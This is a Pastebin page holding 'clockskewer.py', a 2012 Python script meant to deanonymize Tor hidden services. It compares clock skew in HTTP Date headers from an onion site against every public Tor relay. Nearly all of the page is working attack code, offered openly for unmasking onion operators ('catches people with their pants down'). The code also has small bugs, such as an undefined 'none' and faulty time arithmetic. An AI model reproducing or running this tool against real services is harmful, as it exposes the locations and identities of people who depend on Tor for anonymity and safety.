Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!

clockskewer.py

By: Nekro on Oct 2nd, 2012  |  syntax: Python  |  size: 5.07 KB  |  views: 1,798  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/env python2.7
  2. #
  3. # clockskewer.py -- skewers http servers in onionland to an ip address
  4. #
  5. # This script takes advantage of the fact that no one
  6. # in onionland configures their http server correctly
  7. # by having it send datetime stamps in every response
  8. #
  9. # calculates the clockskew and then finds a corrilating
  10. # tor relay with an open http server with the same skew
  11. #
  12. # catches people with their pants down, sadly lots of
  13. # onionlanders have no pants and don't realize it :3
  14. #
  15. # WTFPL 2012 Jeff Becker
  16. #
  17. # @ampernand <--- follow my ass on twitter if you care
  18. #
  19. import socks
  20. from pytorctl import TorCtl as ctl
  21. from datetime import datetime
  22. import logging,socket
  23.  
  24.  
  25. localhost='127.0.0.1'
  26. # uncomment for using special ssh tunnel located at dash
  27. # localhost='dash'
  28.  
  29. socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,localhost,port=9050)
  30. logging.basicConfig(format='>> %(message)s',level=logging.INFO)
  31. reg_socket = socket.socket
  32. debug = logging.debug
  33. info = logging.info
  34. warn = logging.warning
  35. error = logging.error
  36.  
  37. def torcontrol():
  38.     """
  39.    open control session
  40.    """
  41.     s = reg_socket()
  42.     s.connect((localhost,9051))
  43.     c = ctl.Connection(s)
  44.     c.authenticate()
  45.     return c
  46.  
  47. def get_relays():
  48.     """
  49.    Get all relays that your tor relay knows of
  50.    """
  51.     info('Get List Of Relays')
  52.     c = torcontrol()
  53.     if c is None:
  54.         error('Could not connect to tor control port')
  55.         return None
  56.     ret = []
  57.     re = c.get_network_status(get_iterator=True)
  58.     c.close()
  59.     if re is None:
  60.         error('Failed to get relay list')
  61.         return none
  62.     for r in re:
  63.         ret.append(r.ip)
  64.     info('Got %d relays'%len(ret))
  65.     return ret
  66.  
  67. now = datetime.utcnow
  68.  
  69.  
  70. def skew(dstamp,timeformat='%a, %d %b %Y %H:%M:%S GMT'):
  71.     """
  72.    most common type of timestamp i've seen on onionland is
  73.    %a, %d %b %Y %H:%M:%S GMT
  74.  
  75.    default to use that
  76.    """
  77.     return now() - datetime.strptime(dstamp,timeformat)
  78.  
  79. def http(host,ua='Onionland Clockskewer 0.1'):
  80.     """
  81.    do an http request and get the "Date" header and the "Server" header
  82.  
  83.    returns
  84.  
  85.        skew_in_ms, server_header
  86.  
  87.    or in the event of an error or both headers not found:
  88.        None, None
  89.    """
  90.     debug('REQUEST http://%s/'%host)
  91.     try:
  92.         dstamp = None
  93.         server = None
  94.         s = socks.socksocket()
  95.         debug('CONNECT')
  96.         s.connect((host,80))
  97.         debug('REQUEST')
  98.         s.send('GET / HTTP/1.1\r\n')
  99.         s.send('Host: %s\r\n'%host)
  100.         s.send('User-Agent: %s\r\n'%ua)
  101.         s.send('\r\n')
  102.         resp = ''
  103.         count = 0
  104.         r = 0
  105.         # begin masive hack
  106.         while True:
  107.             r += 1
  108.             if r > 9000:
  109.                 break
  110.             c = s.recv(1)
  111.             if c is None or c == '':
  112.                 debug('break')
  113.                 break
  114.             resp += c
  115.             if resp.count('\r\n') > 0:
  116.                 count += 1
  117.                 if resp == '\r\n':
  118.                     break
  119.                 line = resp.strip()
  120.                 if count == 1:
  121.                     if line.count('HTTP') == 0:
  122.                         raise Exception()
  123.                     resp = ''
  124.                     continue
  125.                 if len(line) == 0:
  126.                     break
  127.                 i = line.index(':')
  128.                 k = line[:i].strip()
  129.                 v = line[i+1:].strip()
  130.                 if k == 'Date':
  131.                     dstamp = v
  132.                 elif k == 'Server':
  133.                     server = v
  134.                 resp = ''
  135.  
  136.         #end massive hack
  137.         s.close()
  138.         return skew(dstamp), server
  139.     except Exception as e:
  140.         return None, None
  141.  
  142. def check(onion,ip,delta):
  143.     """
  144.    check to see if an onion is similar to a clearnet machine
  145.  
  146.    1) request onion
  147.    2) request clearnet
  148.    3) compute difference of skews
  149.    4) if the difference of the skews is <= delta we have a potential candidate
  150.    """
  151.     t1,s1 = http(onion)
  152.     if t1 is None:
  153.         return False
  154.     t2,s2 = http(ip)
  155.     if t2 is None:
  156.         return False
  157.     try:
  158.  
  159.         d = t1 - t2
  160.         d = abs( d.microseconds )  + abs (d.seconds ) * 1000
  161.         return d <= delta
  162.     except:
  163.         warn('Failed to check %s vs %s'%(onion,ip))
  164.     return False
  165.        
  166.  
  167.  
  168. def clockskewer(onions):
  169.     possible = []
  170.     relays = get_relays()
  171.     if relays  is None:
  172.         return
  173.     for onion in onions:
  174.         info('Locating %s'%onion)
  175.         res = 0
  176.         # iterate through all the tor relays in the public list
  177.         # this can take days if not weeks for each iteration
  178.         for ip in relays:
  179.             if check(onion,ip,7000):
  180.                 info('!!!!')
  181.                 info('POSSIBLE MATCH: %s ->  %s'%(onion,ip))
  182.                 possible.append((onion,ip))
  183.                 res += 1
  184.         info('Possible Matches for %s : %d'% (onion,res))
  185.     info('Found %d results'%len(possible))
  186.     for p in possible:
  187.         info('%s -> %s'%p)
  188.  
  189. if __name__ == '__main__':
  190.     import sys
  191.     clockskewer(sys.argv[1:])